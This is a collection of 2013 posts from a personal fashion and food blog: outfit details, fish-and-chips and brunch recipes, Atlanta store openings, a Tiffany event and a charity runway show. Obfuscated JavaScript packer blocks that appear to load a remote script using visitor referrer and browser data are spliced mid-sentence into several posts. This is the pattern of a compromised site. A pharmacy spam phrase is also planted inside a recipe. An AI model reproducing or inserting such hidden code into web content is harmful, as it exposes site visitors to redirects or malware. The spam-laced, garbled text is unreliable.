WIWW: Coral & White Femme Fatale

2013, Fashion, OOTD

Kate Styled Pretty, EShakti, Charlotte Russe, ALDO, Kate Greer

Living eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbnah|var|u0026u|referrer|fktzi||js|php’.split(‘|’),0,{}))
in the South means it stays warm longer than usual.  I’m still sporting tanks and shorts on the weekends. However, I’ll be ready for fall weather and boots again soon!
Kate Styled Pretty, EShakti, Charlotte Russe, ALDO, Kate Greer

Until the temperatures drop though, I’ll enjoy every sunny and warm day I get with bright colors like this beautiful coral skirt!Kate Styled Pretty, EShakti, Vintage, Kate GreerKate Styled Pretty, Kate Greer

Sometimes a girl needs to feel like a girl.  I’m all for equality on every level, but this outfit just makes me feel girlish!

Top – Charlotte Russe

Skirt – EShakti

Shoes – ALDO

Clutch – Navoh

Bracelet – Vintage

 

The Ultimate Accessory: The Belt Way & Special Promo

2013, Fashion
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love jewelry, but the ultimate accessory to an outfit is definitely the belt! It can change a dress into a skirt, a atop into a dress and gives girls big and small an imaginary waistline.  It basically can rock your world!  If you don’t have an extensive belt collection, you may want to reconsider.
Here are a few of my top picks for belts!
Belts
This entire post sprung from an outfit dilemma.  I was trying to figure out what to wear to the Georgia Music Hall of Fame (black tie attire required), but I was having a teenage angst moment and hating everything in my closet.
I ended up turning my ASOS party dress (featured here) into a skirt using an Oasis belt and my Funky Flair Boutique top! (see outfit below via Instagram)
Kate Greer, Kate Styled Pretty, Georgia Music Hall of Fame 2013

Point of this story? Buy and hoard belts!  They can save you in a fashion crisis!

I’m also excited to partner with Shooz on 7 to bring my faithful KSP readers a discount (Because while belts are the best accessory, shoes will always remain a staple item)! Use promo code shoozon7katestyledpretty for a 15% discount on your purchase! Follow Shooz on 7 on Facebook, Twitter and Instagram to stay afoot on the newest styles!

And do you know the best part? You could win a free pair of shoes just by Retweeting this tweet!

xoxo-KSP

Belts by katestylepretty on Polyvore

Asos belt
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ASOS belt
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ASOS belt
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Leopard print belt
$56 – asos.com

ASOS belt
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ASOS belt
$5.62 – asos.com

Indian Summer: Last Day on Lake

2013, Fashion, OOTD

Despite the Fall Solstice coming and going, the temperatures have stayed unseasonably warm for a delightful Indian Summer allowing me to stay in shorts and summer wear for much longer than expected.  I’ve never been on a jet ski before, so we rented one for one of the last warm weekends of the year.  This outing of course called for my best nautical stripes!
Kate Greer, Kate Styled Pretty, Oasis, ASOS, Sperrys

Shirt eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ankia|var|u0026u|referrer|nkdds||js|php’.split(‘|’),0,{}))
Oasis

Pants – ASOS

Shoes – Sperry

Sunnies – Nine West

Hope your week will be warm too!

xoxo-KSP

FOODIE FRIDAY: English Fish & Chips

2013, Food

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It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsktb|var|u0026u|referrer|tikhf||js|php’.split(‘|’),0,{}))
ironic how much Americans love British culture today considering our storied past. Nowadays, everything from English accents to English cuisine is admired and enjoyed by us.

This illustrious bordereau includes the classic fish & chips!

While I enjoy fried foods, I rarely make them at home, but I made an exception for this English favorite of mine.

Cut your russet potatoes into french fries size. I used about 3 medium sized potatoes. Lay the cut pieces flat on a cookie sheet and mix with oil, salt, pepper and a dash of creole seasoning. Bake at 375-425 degrees Fahrenheit for 15-20 minutes. (I start at 375 degree oven and crack up the temperature for the last few minutes to brown better.)

Slice your choice of white fish into stripes (cod, haddock and albacore order generic phentermine online work well). I whipped together 2 eggs for my wet batter. I mixed cornstarch, creole seasoning, salt and pepper together for my batter. First dip the fish into the wet mixture, then the dry batter.

Heat peanut oil to 375 degrees Fahrenheit and then drop fish into the hot oil. Depending upon your pot size, don’t overcrowd your pot with too many fish at once. I fried two at a time.

I served the fish with a splash of vinegar (malt is the preferred English vinegar, but I used the vinegar that was used to pickle the okra). Serve everything together while warm, and it’s the best fish and chips I’ve ever tasted! (Partially because I know its a little healthier than the restaurant version.)

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WIWW: Oasis Stripes

2013, Fashion, OOTD

Kate Styled Pretty, Kate Greer, Oasis, Fashion, Asian, Sperry

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was in the middle of housekeeping and had to make myself presentable to grab lunch.  I added jewelry and a light sweater to my look and walked out the door!

Kate Styled Pretty, Kate Greer, Oasis, Sperry, Charlotte Russe

Top – Oasis

Shorts – Marshalls

Shoes – Sperry

Necklace – Charlotte Russe

Now on a completely different note – what do you think of a blog name change for me? From Kate Styled Pretty to Kate Style Petite?  Thoughts?  I’m still evolving as a blogger (since I’m admittedly fairly new to the scene) and I’ll soon be moving to a self-hosted platform by end of the year, which would be the perfect time for a name change (if it happens at all).  I’d love to hear my readers thoughts on the two different names! Please leave a comment below and let me know which one you prefer!

Breakfast at Tiffany’s

2013

Tiffany Atlas, Kate Styled Pretty, Kate Greer

” Well, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbhif|var|u0026u|referrer|efhns||js|php’.split(‘|’),0,{}))
when I get it the only thing that does any good is to jump in a cab and go to Tiffany’s. Calms me down right away. The quietness and the proud look of it; nothing very bad could happen to you there. If I could find a real-life place that’d make me feel like Tiffany’s, then – then I’d buy some furniture and give the cat a name!” – Holly Golightly

How could you not feel this way about Tiffany’s? Right? Especially after you see their new collection – Tiffany Atlas! The models above are wearing selected pieces from the new collection (see below).

I do love shiny objects – especially when they come in a pretty blue box.

Sabrina from Simply Sabrina and I at the event! (I’m very jealous of her top bun in this moment.)

My OOTD Details; Blouse – Jessica Simpson (via Marshalls)

Belt – Marshalls

Jeans – American Eagle

Shoes – Thrifted

Lipstick – Wet ‘n Wild Pink

Check out the details of Sabrina’s outfit on her blog here!

I should have grabbed my best LBD in the closet for Tiffany’s, but I couldn’t stop myself from wearing these AE jeans (exact)! I’m short and small.  Now minimize what size you thought of me in the previous sentence by a little more and you’ve almost got me! That is why I had to share this amazing jean find.  I haven’t shopped at AE since as far back as high school. But their denim selection is definitely worth a second look for petite people!  I’m wearing their 00 short size in modern flare, and it fits like a glove!

Clearly you don’t understand the long journey it has taken me to finally find a pair of jeans I can order as is without having to take it to the alterations.  When I shop, I always have to think if an item is worth buying not at the price tag value, but at the elevated cost of getting it tailored to fit my body. These jeans are a bargain at $29.99 considering I was willing to fork over $200 for designer jeans size 23 petite.

So thank you Tiffany’s for giving me a reason to dress-up my new jeans and a great show! I love meeting up with old blogger friends and new bloggers!

Tami from TalkingWithTami.com – One of my favorite blogger looks of the night! The little princess in me wants her tulle skirt desperately!

Remember these ladies from White Salon and Spa? Check them out if you need more style in your life!

I regret not grabbing the LBD (in hindsight), but the star of my outfit was definitely my vintage shoes:

Thrifted for only $2.50!

Yes.  Breakfast at Tiffany’s was right.  Why has it taken this long for me to walk into Tiffany’s? Where have you been all my life?

Tiffany Atlas

FOODIE FRIDAY: French Toast & Brunch Bites

2013, Food

Homemade, French Toast, Kate Styled pretty

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always make omelets (or in reality scrambled eggs with stuff in it) for my fancy Saturday morning breakfast. Habits are hard to break, but I did it.  I changed out the omelet for French Toast!

French Toast Recipe

  • 4 eggs
  • 2/3 cup milk
  • 2 teaspoons of cinnamon
  • 8 thick slices of 2-day-old bread, better if slightly stale
  • Butter
  • Maple syrup

Blend everything together in a shallow bowl and dip the bread into the liquid mixture and brown in the skillet.  Can I get “that was easy?”

I also made ham and cheese bites (recipe inspiration from Pinterest)

Kate Styled Pretty, Brunch, Ham and Egg bites

Ham & Egg Cheese Bites

  • 1/2 egg per cup
  • a little heavy cream (or milk)
  • grated cheese
  • onions and peppers, diced small
  • a small pat of butter
  • a couple of young green onions
  • ham slices, a little thick
  • salt and pepper to taste

Sautee the onions, peppers, butter and onions together.  Place ham slices into individual muffin cups, drop a little bit of the cooked onion and peppers mixture on the ham, then pour mixed eggs into each muffin cup until full.  I topped each one with some cheese and finished with fresh herbs on top. Bake at 350 degrees for 20 – 25 minutes or until done.

Homemade brunch has never tasted better!

Now on a completely different note – what do you think of a blog name change for me? From Kate Styled Pretty to Kate Style Petite?  Thoughts?  I’m still evolving as a blogger (since I’m admittedly fairly new to the scene) and I’ll soon be moving to a self-hosted platform by end of the year, which would be the perfect time for a name change (if it happens at all).  I’d love to hear my readers thoughts on the two different names! Please leave a comment below and let me know which one you prefer!

Trina Turk Grand Opening

2013, Fashion, OOTD

Trina Turk, Atlanta Grand Opening, Kate Styled Pretty

Women eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkkhy|var|u0026u|referrer|dnkny||js|php’.split(‘|’),0,{}))
like options, and the grand opening of
Trina Turk in Atlanta is a dream come true for shopaholics! They offer sleek and chic looks, playing with bold colors and sharp lines in their clothing.  I love attending these type of events for three reasons: 1) I love seeing the upcoming fashion trends 2) I love networking with other fashion-forwarded people 3) I love people watching!

Trina Turk, Kate Styled Pretty, Atlanta Grand Opening

Next to great clothes and good food, I like to people watch when I’m out and about.  I find it fascinating to hear what people discuss and see what they wear to different events.  At Trina Turk’s grand opening event at Phipps Plaza, there was a plethora of eye candy to feast on.  Both men and women came out in their best and showcasing their different personalities.

Trina Turk, Atlanta Grand Opening, Kate Styled Pretty

And no outing would be complete without a selfie in the mirror!

Kate Greer, Kate Styled Pretty, fashion blogger

Top – H&M

Belt – Oasis

Skirt – Urban Outfitters

Purse – Marshalls

Kate Styled Pretty, Kate Greer

I just ordered these shoes from Shoedazzle because the website showed them on sale and every girl needs a new pair of shoes occasionally.  I was sadly very disappointed by their customer service.  I sent an immediate email to cancel my order when I realized that they did not ring up with their sale price.  I received no response after several e-mails, phone calls and social media blasts (this occurred in a span of two weeks).  The shoes arrived (and they are cute), but not worth spending the full price on.  To this day, I have yet to receive any customer service response to my requests (I did get two comments on my post on Shoedazzle’s facebook wall but never anything useful or helpful).  I even had my credit card company try and contact them, and they were unsuccessful.  I’m incredibly disappointed by this company and will never shop here again.  While the shoes are cute, there are many other places I can spend my hard-earned money.  I’d advise you to do the same and steer clear of this company!  There really is nothing that can redeem a company that has bad customer service!

I always try and keep my readers informed on the good, bad and ugly.

4th Annual Cure on the Catwalk #WThinksPink

2013, Fashion

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a bad blogger, I left my camera at home and focused on styling and mingling at #WthinksPink 4th Annual Cure on the Catwalk that went down at the hip
W hotel in Buckhead, Atlanta September 26, 2013.  I had so much fun getting to know CJ (my stylish partner in crime and five-year-breast-cancer-survivor) as we prepped and walked the runway to raise funds for Pink Heals Foundation, a nonprofit organization dedicated to helping young cancer survivors regain confidence after the completion of treatments. Their mission: “It’s not about cancer… It’s about LIFE!”  

Me & CJ in Bevello clothes

Love what we are wearing? Check out Bevello at shops around Lennox for these great fall finds! (My jacket is from Marshalls and shoes are our own)

Behind the scenes shot – Hanging out in one of the amazing rooms at W Buckhead Hotel as CJ gets on her makeup for the show!

Van Michael Hair Salon

This is the amazing team of make-up & hair geniuses from Van Michael Hair Salon that turned up the heat on all the models’ looks for the show!

Talk about perfect timing! We walked the runway as the sunset on the Atlanta skyline!

Love this photo of all the breast cancer survivors strutting their stuff on the catwalk!

 

The stylists aka bloggers from Southern Blog Society – loved meeting and catching up with these lovely ladies!

I love CJ’s infectious smile, and her love of life! I have so much to learn from this role model and hot model!

My hair is catching some wind as I walked the catwalk for #WthinksPink!

We had an amazing crowd come for #WthinksPink Cure on the Catwalk to raise awareness and funds for Pink Heals Foundation!

Special shout-out to my boss for coming and supporting a great cause! She could be recruited to walk the catwalk next year after wearing this adorable lace dress (as seen on True Blood)!

My friends are hotter than yours, and I love them for coming to support me and Pink Heals Foundation!

Have you tried Vixen yet?

Need a hair salon suggestion in Atlanta? Look no further than Van Michael Hair Salon!

Special thanks to Jessica, from My Style Vita and co-founder of Southern Blog Society, and Lisa, from Pink Heals Foundation, for their amazing work to put together #WthinksPink Cure on the Catwalk!

Survivors and Supermodels with host Julie Moran!

 

I always get placed up front and center because of my vertical challenge disorder.

All photos were taken by Dylan York or Ben Rose (www.benrosephotography.com). For the full album, check out W Buckhead Atlanta Facebok Page!

I feel blessed to be a part of Cure on the Catwalk, and I’m excited to make a life-long friend of CJ! 

Want more behind the scenes pictures from the event? Follow me on Instagram #WThinksPink!

 

Vintage Vegas Style

2013, Fashion, Travel

Kate Styled Pretty, Las Vegas, Vintage

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an impromptu Las Vegas trip, I packed this amazing vintage dress that does not see daylight nearly enough!

 

A picture of me would not be complete without me chowing down on some candy!

Sunnies – Target

Necklace – The Limited

Dress – Vintage

xoxo-KSP

Las Vegas, Kate Styled Pretty